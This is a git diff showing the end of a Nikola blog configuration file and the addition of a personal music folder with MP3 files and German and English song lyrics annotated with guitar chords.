558# ("icon", "/favicon.ico", "16x16"),
559# ("icon", "/icon_128x128.png", "128x128"),
560# }
561
562# Show only teasers in the index pages? Defaults to False.
563# INDEX_TEASERS = False
564
565# HTML fragments with the Read more... links.
566# The following tags exist and are replaced for you:
567# {link} A link to the full post page.
568# {read_more} The string “Read more” in the current language.
569# {reading_time} An estimate of how long it will take to read the post.
570# {remaining_reading_time} An estimate of how long it will take to read the post, sans the teaser.
571# {min_remaining_read} The string “{remaining_reading_time} min remaining to read” in the current language.
572# {paragraph_count} The amount of paragraphs in the post.
573# {remaining_paragraph_count} The amount of paragraphs in the post, sans the teaser.
574# {{ A literal { (U+007B LEFT CURLY BRACKET)
575# }} A literal } (U+007D RIGHT CURLY BRACKET)
576
577# 'Read more...' for the index page, if INDEX_TEASERS is True (translatable)
578INDEX_READ_MORE_LINK = '<p class="more"><a href="{link}">{read_more}…</a></p>'
579# 'Read more...' for the RSS_FEED, if RSS_TEASERS is True (translatable)
580RSS_READ_MORE_LINK = '<p><a href="{link}">{read_more}…</a> ({min_remaining_read})</p>'
581
582# Append a URL query to the RSS_READ_MORE_LINK and the //rss/item/link in
583# RSS feeds. Minimum example for Piwik "pk_campaign=rss" and Google Analytics
584# "utm_source=rss&utm_medium=rss&utm_campaign=rss". Advanced option used for
585# traffic source tracking.
586RSS_LINKS_APPEND_QUERY = False
587
588# A HTML fragment describing the license, for the sidebar.
589# (translatable)
590LICENSE = ""
591# I recommend using the Creative Commons' wizard:
592# http://creativecommons.org/choose/
593# LICENSE = """
594# <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/ar/">
595# <img alt="Creative Commons License BY-NC-SA"
596# style="border-width:0; margin-bottom:12px;"
597# src="http://i.creativecommons.org/l/by-nc-sa/2.5/ar/88x31.png"></a>"""
598
599# A small copyright notice for the page footer (in HTML).
600# (translatable)
601CONTENT_FOOTER = ""
602# 'Contents &copy; {date} <a href="mailto:{email}">{author}</a> - Powered by <a href="http://getnikola.com" rel="nofollow">Nikola</a> {license}'
603
604# Things that will be passed to CONTENT_FOOTER.format(). This is done
605# for translatability, as dicts are not formattable. Nikola will
606# intelligently format the setting properly.
607# The setting takes a dict. The keys are languages. The values are
608# tuples of tuples of positional arguments and dicts of keyword arguments
609# to format(). For example, {'en': (('Hello'), {'target': 'World'})}
610# results in CONTENT_FOOTER['en'].format('Hello', target='World').
611# WARNING: If you do not use multiple languages with CONTENT_FOOTER, this
612# still needs to be a dict of this format. (it can be empty if you
613# do not need formatting)
614# (translatable)
615CONTENT_FOOTER_FORMATS = {
616 DEFAULT_LANG: (
617 (),
618 {
619 "email": BLOG_EMAIL,
620# "author": BLOG_AUTHOR,
621 "date": time.gmtime().tm_year,
622 "license": LICENSE
623 }
624 )
625}
626
627# To use comments, you can choose between different third party comment
628# systems. The following comment systems are supported by Nikola:
629# disqus, facebook, googleplus, intensedebate, isso, livefyre, muut
630# You can leave this option blank to disable comments.
631COMMENT_SYSTEM = ""
632# And you also need to add your COMMENT_SYSTEM_ID which
633# depends on what comment system you use. The default is
634# "nikolademo" which is a test account for Disqus. More information
635# is in the manual.
636COMMENT_SYSTEM_ID = ""
637
638# Enable annotations using annotateit.org?
639# If set to False, you can still enable them for individual posts and pages
640# setting the "annotations" metadata.
641# If set to True, you can disable them for individual posts and pages using
642# the "noannotations" metadata.
643# ANNOTATIONS = False
644
645# Create index.html for page (story) folders?
646# WARNING: if a page would conflict with the index file (usually
647# caused by setting slug to `index`), the STORY_INDEX
648# will not be generated for that directory.
649# STORY_INDEX = False
650# Enable comments on story pages?
651# COMMENTS_IN_STORIES = False
652# Enable comments on picture gallery pages?
653# COMMENTS_IN_GALLERIES = False
654
655# What file should be used for directory indexes?
656# Defaults to index.html
657# Common other alternatives: default.html for IIS, index.php
658# INDEX_FILE = "index.html"
659
660# If a link ends in /index.html, drop the index.html part.
661# http://mysite/foo/bar/index.html => http://mysite/foo/bar/
662# (Uses the INDEX_FILE setting, so if that is, say, default.html,
663# it will instead /foo/default.html => /foo)
664# (Note: This was briefly STRIP_INDEX_HTML in v 5.4.3 and 5.4.4)
665# Default = False
666STRIP_INDEXES = True
667
668# Should the sitemap list directories which only include other directories
669# and no files.
670# Default to True
671# If this is False
672# e.g. /2012 includes only /01, /02, /03, /04, ...: don't add it to the sitemap
673# if /2012 includes any files (including index.html)... add it to the sitemap
674# SITEMAP_INCLUDE_FILELESS_DIRS = True
675
676# List of files relative to the server root (!) that will be asked to be excluded
677# from indexing and other robotic spidering. * is supported. Will only be effective
678# if SITE_URL points to server root. The list is used to exclude resources from
679# /robots.txt and /sitemap.xml, and to inform search engines about /sitemapindex.xml.
680# ROBOTS_EXCLUSIONS = ["/archive.html", "/category/*.html"]
681
682# Instead of putting files in <slug>.html, put them in
683# <slug>/index.html. Also enables STRIP_INDEXES
684# This can be disabled on a per-page/post basis by adding
685# .. pretty_url: False
686# to the metadata
687# PRETTY_URLS = False
688
689# If True, publish future dated posts right away instead of scheduling them.
690# Defaults to False.
691# FUTURE_IS_NOW = False
692
693# If True, future dated posts are allowed in deployed output
694# Only the individual posts are published/deployed; not in indexes/sitemap
695# Generally, you want FUTURE_IS_NOW and DEPLOY_FUTURE to be the same value.
696# DEPLOY_FUTURE = False
697# If False, draft posts will not be deployed
698# DEPLOY_DRAFTS = True
699
700# Allows scheduling of posts using the rule specified here (new_post -s)
701# Specify an iCal Recurrence Rule: http://www.kanzaki.com/docs/ical/rrule.html
702# SCHEDULE_RULE = ''
703# If True, use the scheduling rule to all posts by default
704# SCHEDULE_ALL = False
705
706# Do you want a add a Mathjax config file?
707# MATHJAX_CONFIG = ""
708
709# If you are using the compile-ipynb plugin, just add this one:
710# MATHJAX_CONFIG = """
711# <script type="text/x-mathjax-config">
712# MathJax.Hub.Config({
713# tex2jax: {
714# inlineMath: [ ['$','$'], ["\\\(","\\\)"] ],
715# displayMath: [ ['$$','$$'], ["\\\[","\\\]"] ],
716# processEscapes: true
717# },
718# displayAlign: 'left', // Change this to 'center' to center equations.
719# "HTML-CSS": {
720# styles: {'.MathJax_Display': {"margin": 0}}
721# }
722# });
723# </script>
724# """
725
726# Do you want to customize the nbconversion of your IPython notebook?
727# IPYNB_CONFIG = {}
728# With the following example configuration you can use a custom jinja template
729# called `toggle.tpl` which has to be located in your site/blog main folder:
730# IPYNB_CONFIG = {'Exporter':{'template_file': 'toggle'}}
731
732# What Markdown extensions to enable?
733# You will also get gist, nikola and podcast because those are
734# done in the code, hope you don't mind ;-)
735# Note: most Nikola-specific extensions are done via the Nikola plugin system,
736# with the MarkdownExtension class and should not be added here.
737# MARKDOWN_EXTENSIONS = ['fenced_code', 'codehilite']
738
739# Extra options to pass to the pandoc comand.
740# by default, it's empty, is a list of strings, for example
741# ['-F', 'pandoc-citeproc', '--bibliography=/Users/foo/references.bib']
742# PANDOC_OPTIONS = []
743
744# Social buttons. This is sample code for AddThis (which was the default for a
745# long time). Insert anything you want here, or even make it empty.
746# (translatable)
747SOCIAL_BUTTONS_CODE = ""
748# <!-- Social buttons -->
749# <div id="addthisbox" class="addthis_toolbox addthis_peekaboo_style addthis_default_style addthis_label_style addthis_32x32_style">
750# <a class="addthis_button_more">Share</a>
751# <ul><li><a class="addthis_button_facebook"></a>
752# <li><a class="addthis_button_google_plusone_share"></a>
753# <li><a class="addthis_button_linkedin"></a>
754# <li><a class="addthis_button_twitter"></a>
755# </ul>
756# </div>
757# <script src="//s7.addthis.com/js/300/addthis_widget.js#pubid=ra-4f7088a56bb93798"></script>
758# <!-- End of social buttons -->
759# """
760
761# Show link to source for the posts?
762# Formerly known as HIDE_SOURCELINK (inverse)
763SHOW_SOURCELINK = False
764# Copy the source files for your pages?
765# Setting it to False implies SHOW_SOURCELINK = False
766COPY_SOURCES = False
767
768# Modify the number of Post per Index Page
769# Defaults to 10
770INDEX_DISPLAY_POST_COUNT = 23
771
772# By default, Nikola generates RSS files for the website and for tags, and
773# links to it. Set this to False to disable everything RSS-related.
774GENERATE_RSS = True
775
776# RSS_LINK is a HTML fragment to link the RSS or Atom feeds. If set to None,
777# the base.tmpl will use the feed Nikola generates. However, you may want to
778# change it for a FeedBurner feed or something else.
779# RSS_LINK = None
780
781# Show only teasers in the RSS feed? Default to True
782# RSS_TEASERS = True
783
784# Strip HTML in the RSS feed? Default to False
785# RSS_PLAIN = False
786
787# A search form to search this site, for the sidebar. You can use a Google
788# custom search (http://www.google.com/cse/)
789# Or a DuckDuckGo search: https://duckduckgo.com/search_box.html
790# Default is no search form.
791# (translatable)
792# SEARCH_FORM = ""
793#
794# This search form works for any site and looks good in the "site" theme where
795# it appears on the navigation bar:
796#
797# SEARCH_FORM = """
798# <!-- Custom search -->
799# <form method="get" id="search" action="//duckduckgo.com/"
800# class="navbar-form pull-left">
801# <input type="hidden" name="sites" value="%s"/>
802# <input type="hidden" name="k8" value="#444444"/>
803# <input type="hidden" name="k9" value="#D51920"/>
804# <input type="hidden" name="kt" value="h"/>
805# <input type="text" name="q" maxlength="255"
806# placeholder="Search&hellip;" class="span2" style="margin-top: 4px;"/>
807# <input type="submit" value="DuckDuckGo Search" style="visibility: hidden;" />
808# </form>
809# <!-- End of custom search -->
810# """ % SITE_URL
811#
812# If you prefer a Google search form, here's an example that should just work:
813# SEARCH_FORM = """
814# <!-- Custom search with Google-->
815# <form id="search" action="//www.google.com/search" method="get" class="navbar-form pull-left">
816# <input type="hidden" name="q" value="site:%s" />
817# <input type="text" name="q" maxlength="255" results="0" placeholder="Search"/>
818# </form>
819# <!-- End of custom search -->
820#""" % SITE_URL
821
822# Use content distribution networks for jQuery, twitter-bootstrap css and js,
823# and html5shiv (for older versions of Internet Explorer)
824# If this is True, jQuery and html5shiv are served from the Google CDN and
825# Bootstrap is served from BootstrapCDN (provided by MaxCDN)
826# Set this to False if you want to host your site without requiring access to
827# external resources.
828USE_CDN = False
829
830# Check for USE_CDN compatibility.
831# If you are using custom themes, have configured the CSS properly and are
832# receiving warnings about incompatibility but believe they are incorrect, you
833# can set this to False.
834# USE_CDN_WARNING = True
835
836# Extra things you want in the pages HEAD tag. This will be added right
837# before </head>
838# (translatable)
839# EXTRA_HEAD_DATA = ""
840# Google Analytics or whatever else you use. Added to the bottom of <body>
841# in the default template (base.tmpl).
842# (translatable)
843# BODY_END = ""
844
845# The possibility to extract metadata from the filename by using a
846# regular expression.
847# To make it work you need to name parts of your regular expression.
848# The following names will be used to extract metadata:
849# - title
850# - slug
851# - date
852# - tags
853# - link
854# - description
855#
856# An example re is the following:
857# '(?P<date>\d{4}-\d{2}-\d{2})-(?P<slug>.*)-(?P<title>.*)\.md'
858# FILE_METADATA_REGEXP = None
859
860# If you hate "Filenames with Capital Letters and Spaces.md", you should
861# set this to true.
862UNSLUGIFY_TITLES = False
863
864# Additional metadata that is added to a post when creating a new_post
865# ADDITIONAL_METADATA = {}
866
867# Nikola supports Open Graph Protocol data for enhancing link sharing and
868# discoverability of your site on Facebook, Google+, and other services.
869# Open Graph is enabled by default.
870# USE_OPEN_GRAPH = True
871
872# Nikola supports Twitter Card summaries, but they are disabled by default.
873# They make it possible for you to attach media to Tweets that link
874# to your content.
875#
876# IMPORTANT:
877# Please note, that you need to opt-in for using Twitter Cards!
878# To do this please visit https://cards-dev.twitter.com/validator
879#
880# Uncomment and modify to following lines to match your accounts.
881# Images displayed come from the `previewimage` meta tag.
882# You can specify the card type by using the `card` parameter in TWITTER_CARD.
883# TWITTER_CARD = {
884# # 'use_twitter_cards': True, # enable Twitter Cards
885# # 'card': 'summary', # Card type, you can also use 'summary_large_image',
886# # see https://dev.twitter.com/cards/types
887# # 'site': '@website', # twitter nick for the website
888# # 'creator': '@username', # Username for the content creator / author.
889# }
890
891# If webassets is installed, bundle JS and CSS to make site loading faster
892# USE_BUNDLES = True
893
894# Plugins you don't want to use. Be careful :-)
895# DISABLED_PLUGINS = ["render_galleries"]
896
897# Add the absolute paths to directories containing plugins to use them.
898# For example, the `plugins` directory of your clone of the Nikola plugins
899# repository.
900# EXTRA_PLUGINS_DIRS = []
901
902# List of regular expressions, links matching them will always be considered
903# valid by "nikola check -l"
904# LINK_CHECK_WHITELIST = []
905
906# If set to True, enable optional hyphenation in your posts (requires pyphen)
907# HYPHENATE = False
908
909# The <hN> tags in HTML generated by certain compilers (reST/Markdown)
910# will be demoted by that much (1 → h1 will become h2 and so on)
911# This was a hidden feature of the Markdown and reST compilers in the
912# past. Useful especially if your post titles are in <h1> tags too, for
913# example.
914# (defaults to 1.)
915# DEMOTE_HEADERS = 1
916
917# If you don’t like slugified file names ([a-z0-9] and a literal dash),
918# and would prefer to use all the characters your file system allows.
919# USE WITH CARE! This is also not guaranteed to be perfect, and may
920# sometimes crash Nikola, your web server, or eat your cat.
921# USE_SLUGIFY = True
922
923# You can configure the logging handlers installed as plugins or change the
924# log level of the default stderr handler.
925# WARNING: The stderr handler allows only the loglevels of 'INFO' and 'DEBUG'.
926# This is done for safety reasons, as blocking out anything other
927# than 'DEBUG' may hide important information and break the user
928# experience!
929
930LOGGING_HANDLERS = {
931 'stderr': {'loglevel': 'INFO', 'bubble': True},
932 # 'smtp': {
933 # 'from_addr': 'test-errors@example.com',
934 # 'recipients': ('test@example.com'),
935 # 'credentials':('testusername', 'password'),
936 # 'server_addr': ('127.0.0.1', 25),
937 # 'secure': (),
938 # 'level': 'DEBUG',
939 # 'bubble': True
940 # }
941}
942
943# Templates will use those filters, along with the defaults.
944# Consult your engine's documentation on filters if you need help defining
945# those.
946# TEMPLATE_FILTERS = {}
947
948# Put in global_context things you want available on all your templates.
949# It can be anything, data, functions, modules, etc.
950GLOBAL_CONTEXT = {}
951
952# Add functions here and they will be called with template
953# GLOBAL_CONTEXT as parameter when the template is about to be
954# rendered
955GLOBAL_CONTEXT_FILLER = []
diff --git a/files/.DS_Store b/files/.DS_Store
new file mode 100644
index 0000000..8585eab
--- /dev/null
+++ b/files/.DS_Store
Binary files differ
diff --git a/files/arts/.DS_Store b/files/arts/.DS_Store
new file mode 100644
index 0000000..2462f93
--- /dev/null
+++ b/files/arts/.DS_Store
Binary files differ
diff --git a/files/arts/music/AlteZeiten.txt b/files/arts/music/AlteZeiten.txt
new file mode 100644
index 0000000..677a4d3
--- /dev/null
+++ b/files/arts/music/AlteZeiten.txt
@@ -0,0 +1,48 @@
1Denkst du nicht gern zurück an alte Zeiten aGd
2Wo wir jeden Tag zusammngesessen ham EFC
3Mit total kaputten Leuten aGd
4Die wir doch lieb gewonnen ham gFC
5
6Umsturz, Aufsturz, Absturz - Leute aGd
7War das nicht eine geile Zeit? EFC
8Doch wo befinden wir uns heute aGd
9Wir sind jetzt tot - es tut mir leid gFC
10
11
12Das war dann wohl, auf wiedersehen CFCF
13Ich glaub, ich buddel mich hier ein DCG
14Muß meinen Weg alleine gehn EAEA
15Sonst geht ihr mit mir ein Fa
16
17
18Irgendwas hat uns gefressen aGd
19Und verschluckt mit Haut und Haaren EFC
20Wie könnten wir denn sonst vergessen aGd
21Wie jung wir einmal waren gFC
22
23Denn unsre alten Bräuche aGd
24Kommen uns jetzt kindisch vor EFC
25Wir kriegen dicke-, Waschbrett-, Babybäuche aGd
26Und die Zeit schreit uns ins Ohr gFC
27
28
29Das war dann wohl, auf wiedersehen CFCF
30Ich glaub, ich buddel mich hier ein DCG
31Muß meinen Weg alleine gehn EAEA
32Sonst geht ihr mit mir ein Fa
33
34
35Ich denk so oft ich bin allein aGd
36Red mir ein daß Einsamkeit mich heilt EFC
37Ich weiß auch du fühlst dich oft klein aGd
38Wir suchen den der unsre Armut teilt EFC
39
40Schaust auch du verzweifelt in das Morgen aGd
41Suchst einen Grund nicht aufzugeben EFC
42Mußt dir die Impressionen borgen aGd
43Aus deinem längst verlornen Leben gFC
44
45Ach was auch du haßt deine Welt CFCF
46Ich denk ich grab mich wieder aus DCG
47Jedoch nicht, weil's mir gefältt EAEA
48Dies Ende säh sonst Scheiße aus! Fa \ No newline at end of file
diff --git a/files/arts/music/Alte_Zeiten.mp3 b/files/arts/music/Alte_Zeiten.mp3
new file mode 100755
index 0000000..0738d21
--- /dev/null
+++ b/files/arts/music/Alte_Zeiten.mp3
Binary files differ
diff --git a/files/arts/music/Fine.mp3 b/files/arts/music/Fine.mp3
new file mode 100755
index 0000000..39485bb
--- /dev/null
+++ b/files/arts/music/Fine.mp3
Binary files differ
diff --git a/files/arts/music/Fine.txt b/files/arts/music/Fine.txt
new file mode 100644
index 0000000..66b48ee
--- /dev/null
+++ b/files/arts/music/Fine.txt
@@ -0,0 +1,23 @@
1Was brauche ich zum traurig sein, als nur die Zeit, g G# g F
2die mich erinnern macht an Einsamkeit g G# g B
3
4Was will die Zeit von mir als nur zurueck, g G# g F
5was sie mir einst geliehn, g G#
6ich gehe mit ihr, Stueck um Stueck B F# F
7
8Ich stehe staunend nur vor den Truemmern meines Gluecks B G# F# F
9Und ich traeume nur, ich wuerd mich treffen hinterruecks B G# F# F
10ich glaub mir nicht, bin nicht verlassen, nur allein, B G# F# F
11und ich denke: dieses Leben wird niemals mein. B g G# F# F
12
13Du siehst mein Glas hier vor dir stehn, mehr als halb leer, g G# g F
14die letzte Runde ist schon lange her. g G# g B
15
16Du zaehlst die Ringe nicht, denn was gefaellt g G# g F
17liegt eh zu Fuessen dir g G#
18und deiner gottverlassnen Welt B F# F
19
20Ich steh verwundert nur vor den Ruinen deines Spiels B G# F# F
21Und ich hoffe noch, dass du triffst, wohin du zielst B G# F# F
22ich glaub dir nicht. Du bist gelassen und gemein. B G# F# F
23und ich schwoere: dieses Leben wird niemals dein G g G# F# F
diff --git a/files/arts/music/FnordNews.mp3 b/files/arts/music/FnordNews.mp3
new file mode 100644
index 0000000..99257d2
--- /dev/null
+++ b/files/arts/music/FnordNews.mp3
Binary files differ
diff --git a/files/arts/music/FnordNewsExtended-lb.mp3 b/files/arts/music/FnordNewsExtended-lb.mp3
new file mode 100644
index 0000000..63edf77
--- /dev/null
+++ b/files/arts/music/FnordNewsExtended-lb.mp3
Binary files differ
diff --git a/files/arts/music/FnordNewsExtended.mp3 b/files/arts/music/FnordNewsExtended.mp3
new file mode 100644
index 0000000..0fb650a
--- /dev/null
+++ b/files/arts/music/FnordNewsExtended.mp3
Binary files differ
diff --git a/files/arts/music/FnordNewsJingle.mp3 b/files/arts/music/FnordNewsJingle.mp3
new file mode 100644
index 0000000..9fac45e
--- /dev/null
+++ b/files/arts/music/FnordNewsJingle.mp3
Binary files differ
diff --git a/files/arts/music/FrauKrüger.mp3 b/files/arts/music/FrauKrüger.mp3
new file mode 100644
index 0000000..b77fde0
--- /dev/null
+++ b/files/arts/music/FrauKrüger.mp3
Binary files differ
diff --git a/files/arts/music/From Me To You.mp4 b/files/arts/music/From Me To You.mp4
new file mode 100644
index 0000000..c52482c
--- /dev/null
+++ b/files/arts/music/From Me To You.mp4
Binary files differ
diff --git a/files/arts/music/Halleluja.mp3 b/files/arts/music/Halleluja.mp3
new file mode 100644
index 0000000..ec7ae7f
--- /dev/null
+++ b/files/arts/music/Halleluja.mp3
Binary files differ
diff --git a/files/arts/music/Hero b/files/arts/music/Hero
new file mode 100644
index 0000000..776a840
--- /dev/null
+++ b/files/arts/music/Hero
@@ -0,0 +1,64 @@
1.. link:
2.. description:
3.. tags: Liedermacher
4.. date: 2013/08/03 19:10:08
5.. title: Hero
6.. slug: ../arts/music/Hero
7
8.. role:: raw-html(raw)
9 :format: html
10
11The song comes in two recordings
12
13:raw-html:`<audio controls><source src="Herov1.mp3" type="audio/mpeg"><a href="Herov1.mp3">Herov1.mp3</a></audio>`
14
15:raw-html:`<audio controls><source src="Herov2.mp3" type="audio/mpeg"><a href="Herov2.mp3">Herov2.mp3</a></audio>`
16
17| Standing right above, watch the battlefield below,
18| thinking back of time that we did spend
19| Together we did walk and together we did stand
20| ready to see the holy land
21|
22| Together we did stand and together we did fight
23| those days we never thought, that our feelings weren't alright,
24| now looking back in vain I never would complain,
25| 'cos I'm your hero now...
26|
27| *I'm your hero of the day, I'm your hero of the day*
28| *maybe you'll be miles away, maybe I lead you astray,*
29| *now I'm your hero of the day, I'm your hero of the day*
30| *praise the lord and sing hoo- right or wrong*
31| *I'd never count the days we passed along.*
32|
33| Waking up to see, that you are back with me,
34| watching the battlefield above.
35| Together we did fight and together we did lose
36| leaving out no other way to chose.
37|
38| Together we did stumble and together we did fall,
39| you figured out we were not better than them all
40| Then I left you behind, have I really been so blind?
41| I'm still your hero, hey...
42|
43| *I'm your hero of the day, I'm your hero of the day*
44| *maybe you'll be miles away, maybe I lead you astray,*
45| *now I'm your hero of the day, I'm your hero of the day*
46| *praise the lord and sing hoo- right or wrong*
47| *I'd never count the days we passed along.*
48|
49| Looking at you now, really makes me thinking wow,
50| you did it, you are one of them.
51| Together you will stand, and together you will fight,
52| the idols, we had way back, then.
53|
54| I know together you will win and together you will kill
55| me, my brothers, my family, my free will
56| But not without a fight, I still believe I'm right.
57| And you're my hero, right!
58|
59| *You're my hero of the day, you're my hero of the day,*
60| *maybe I'll be miles away, maybe you lead me astray,*
61| *well I hate you all the day, now, I hate you all the day*
62| *praise the lord and sing hoo- right or wrong*
63| *I'd never count the days we passed along.*
64
diff --git a/files/arts/music/Herov1.mp3 b/files/arts/music/Herov1.mp3
new file mode 100644
index 0000000..1b95670
--- /dev/null
+++ b/files/arts/music/Herov1.mp3
Binary files differ
diff --git a/files/arts/music/Herov2.mp3 b/files/arts/music/Herov2.mp3
new file mode 100644
index 0000000..6954dc3
--- /dev/null
+++ b/files/arts/music/Herov2.mp3
Binary files differ
diff --git a/files/arts/music/Hoerig.mp3 b/files/arts/music/Hoerig.mp3
new file mode 100644
index 0000000..dbbf915
--- /dev/null
+++ b/files/arts/music/Hoerig.mp3
Binary files differ
diff --git a/files/arts/music/Hoerig.txt b/files/arts/music/Hoerig.txt
new file mode 100644
index 0000000..e433cae
--- /dev/null
+++ b/files/arts/music/Hoerig.txt
@@ -0,0 +1,25 @@
1Jeden morgen stehts du auf und gehst durch deine Tr DGdA
2Doch jeden Abend bringt sie dich zurck zu mir DGdA
3Du willst mir nicht entflieh'n und hast du doch mal das Gefhl FEGF
4Dann zeig ich dir, da du nix bist und spiel mit dir ein Spiel EDG
5
6Dann stehst du da in deiner neuen Welt aGC
7du vertraust keinem und bist allein dEa
8und alles was fr dich jetzt zhlt aGC
9Ist wieder fr mich da zu sein dEA
10
11Immer wieder frag ich dich, was du denn von mir willst DGdA
12Und ob du dich nicht doch woanders besser fhlst DGdA
13Ich komm nicht weg von hier, ich mu hier einfach sein FEGF
14wenn du dich trennst, dann sterben wir, das redest du uns ein EDG
15
16Dann stehst du da in deiner neuen Welt aGC
17du vertraust keinem und bist allein dEa
18und alles was fr dich jetzt zhlt aGC
19Ist wieder fr mich da zu sein dEA
20
21Immer wieder wird dir klar, da sich nichts ndern wird DGdA
22und dass der Stern, dem du hier folgst, dich in den Abgrund fuehrt DGdA
23Ich werd' nun besser geh'n, entscheide mich fuer dich FEGF
24
25.. was wirklich besser fuer dich ist, das findet sich
diff --git a/files/arts/music/Hymne.mp3 b/files/arts/music/Hymne.mp3
new file mode 100644
index 0000000..304243e
--- /dev/null
+++ b/files/arts/music/Hymne.mp3
Binary files differ
diff --git a/files/arts/music/Janina.mp3 b/files/arts/music/Janina.mp3
new file mode 100644
index 0000000..9dc4189
--- /dev/null
+++ b/files/arts/music/Janina.mp3
Binary files differ
diff --git a/files/arts/music/Lebende.html b/files/arts/music/Lebende.html
new file mode 100644
index 0000000..8ff5c1c
--- /dev/null
+++ b/files/arts/music/Lebende.html
@@ -0,0 +1 @@
<HTML><HEAD></HEAD><BODY><A HREF=Lebende.wav>Hier</A></BODY></HTML>
diff --git a/files/arts/music/Lebende.mp3 b/files/arts/music/Lebende.mp3
new file mode 100755
index 0000000..f6070eb
--- /dev/null
+++ b/files/arts/music/Lebende.mp3
Binary files differ
diff --git a/files/arts/music/Lebende.txt b/files/arts/music/Lebende.txt
new file mode 100644
index 0000000..149ae65
--- /dev/null
+++ b/files/arts/music/Lebende.txt
@@ -0,0 +1,24 @@
1Mein Leben schien noch lange nicht am Ende, d9Gaa9a
2und doch ziehn grad die letzten Freunde aus. H7Cj7Fj7
3Der Frust in meinem Blick spricht doch wohl Bnde, eaa9h
4der letzte macht beim Gehen bitte das Licht aus. Fj7Cj7e
5Die Zeit zerfetzt mein Spinnennetz in Weben d9Gaa9a
6und rasch erlischt das Glimmen meiner Haut. H7Cj7Fj7
7Rein gar nichts kann mein Selbstbewutsein heben, eaa9h
8nicht der sondern dem Morgen vor mir graut. Fj7Cj7e
9Schreibst auch du dir heimlich leere Briefe, d9Fj7Cj7
10mit dem Namen aller Freunde drauf? Ged9
11Denkst, was dchte er, wenn ich anriefe? aGd9
12Du bleibst stumm und er legt wieder auf. CDe
13Von nun an leb ich nur in Illusionen d9Gaa9a
14und mein Verstand in der Vergangenheit, H7Cj7Fj7
15denn heute ganz allein mit mir zu Wohnen, eaa9h
16hiee jahrelange Einsamkeit.... Fj7Cj7e
17Ich seh's nun ein, mein Leben ist am Ende, d9Gaa9a
18ich ruf beim Friedhof an und kauf ein Grab. H7Cj7Fj7
19Mach mir mein Loch, bentze meine Hnde eaa9h
20und la mich still und sanft darin hinab. Fj7Cj7e
21Stehst du jetzt am Grab mit meinen Briefen d9Fj7Cj7
22und ldtst alle meine Freunde ein? Ged9
23Doch auch du holst mich nicht aus der Tiefe, aGd9
24denn ich will alleine sein. Cd9e
diff --git a/files/arts/music/Lebende.wav b/files/arts/music/Lebende.wav
new file mode 100644
index 0000000..ab8eb74
--- /dev/null
+++ b/files/arts/music/Lebende.wav
Binary files differ
diff --git a/files/arts/music/No Angel Yet.mp3 b/files/arts/music/No Angel Yet.mp3
new file mode 100644
index 0000000..c84c7c9
--- /dev/null
+++ b/files/arts/music/No Angel Yet.mp3
Binary files differ
diff --git a/files/arts/music/No Angel Yet.txt b/files/arts/music/No Angel Yet.txt
new file mode 100644
index 0000000..9871c3e
--- /dev/null
+++ b/files/arts/music/No Angel Yet.txt
@@ -0,0 +1,40 @@
1It was a cold winter day, aGE
2I felt happy, til I found you. FGC
3You didnt listen to what the people say, dGEa
4you said: winning is what I have to do. FGa
5
6So you took your courage and your strength aGE
7and you went up the hill, FGC
8looking down on the valley, on its full length dGEa
9and your feet were standing still. FGa
10
11Cold and tired, how you were, Ce
12but still laughing bout how far you did get, FG
13you were lonely standing there, dG
14praying: Please, no angel, yet! FGa
15
16And you kept going, aGE
17you were almost there, FGC
18but then it started snowing, dGEa
19and you didnt know, where you were. FGa
20
21You fell down, in the snow, aGE
22your joints were numb with cold, FGC
23 and you werent able to go, dGEa
24just like the people told. FGa
25
26You cried out loudly, Ce
27becoming so wet, FG
28you cried out loudly: dG
29Please, no angel, yet! FGa
30
31But your prayer wasnt heard, aGE
32there he came, your friend and foe, FGC
33flying wiht you, like a bird, dGEa
34he left your body, and took your soul. FGa
35
36So there it lied, aGE
37your body, cold, FGC
38and I laid down by its side, dGEa
39Waiting to be hold. FGa
40 FGa \ No newline at end of file
diff --git a/files/arts/music/Pimmelterrorist b/files/arts/music/Pimmelterrorist
new file mode 100644
index 0000000..09a82e5
--- /dev/null
+++ b/files/arts/music/Pimmelterrorist
@@ -0,0 +1,36 @@
1Ich ging heut nacht die Strasse lang da
2auf einem dunklen Stueck EC
3ich schlich mich an nen Typen ran Fa
4er hat mich nicht gesehn, was fuer ein Glueck GEa
5
6seine Schuhe sahn noch aus wie neu da
7doch die Jacke abgetragen EC
8und weil ich boes bin hab ich ihn Fa
9mit meinem uebergrossen Pimmel erschlagen GEa
10
11 Ich bin der Pimmelterrorist G
12 und schlage zu von Zeit zu Zeit Ga
13 und wenn du nicht wachsam bist aG
14 bin ich da, ich verfolg dich GE
15 und schlag dich von hinten breit Ea
16
17Das gab nen Riesenmedienhype
18die Story ist ja spitze
19die "Bild" denkt sich nen Name aus
20und zwanzig Wege, sich vor mir zu schuetzen
21
22Die Leute laufen kopflos rum
23vor Pimmelmaskenlaeden
24da bekam ich langsam selber Angst,
25mir auf dem Weg ins Bad zu begegnen.
26
27 Ich bin der Pimmelterrorist
28 und schlag mit voller Laenge zu
29 Es macht mir Spass wenn ihr euch
30 fuerchtet, denn mein Moerderpiephahn
31 laesst euch keine Ruh!
32
33Und dann kam's so, wie es kommen musst'
34ich bin nich abgehauen
35sie schnappten mich im Drospa
36beim Kondome in Uebergroessen klauen
diff --git a/files/arts/music/Pimmelterrorist.mp3 b/files/arts/music/Pimmelterrorist.mp3
new file mode 100644
index 0000000..b78d710
--- /dev/null
+++ b/files/arts/music/Pimmelterrorist.mp3
Binary files differ
diff --git a/files/arts/music/Riding Monkeys.mp3 b/files/arts/music/Riding Monkeys.mp3
new file mode 100644
index 0000000..56bd96a
--- /dev/null
+++ b/files/arts/music/Riding Monkeys.mp3
Binary files differ
diff --git a/files/arts/music/Schnee_im_April.mp3 b/files/arts/music/Schnee_im_April.mp3
new file mode 100644
index 0000000..926455d
--- /dev/null
+++ b/files/arts/music/Schnee_im_April.mp3
Binary files differ
diff --git a/files/arts/music/Soehne b/files/arts/music/Soehne
new file mode 100644
index 0000000..8860036
--- /dev/null
+++ b/files/arts/music/Soehne
@@ -0,0 +1,29 @@
1Auf einer Bahnstation, tausen Meilen hinter Brest,
2unser Zug hielt hart, da sahn wir die zwei stehen:
3einen Mann mit seinem Sohn, dessen Haar war kurz geschoren
4und da ahnten wir, wohin sein Sohn sollt gehen.
5
6 Es zieh'n die Soehne los, sind noch nicht mal richtig gross,
7 sie sind lange nach dem letzten Krieg geboren,
8 doch der Mann weiss sicher noch, wie das Brot des Krieges roch,
9 sicher hat er seinen Vater dort verloren.
10
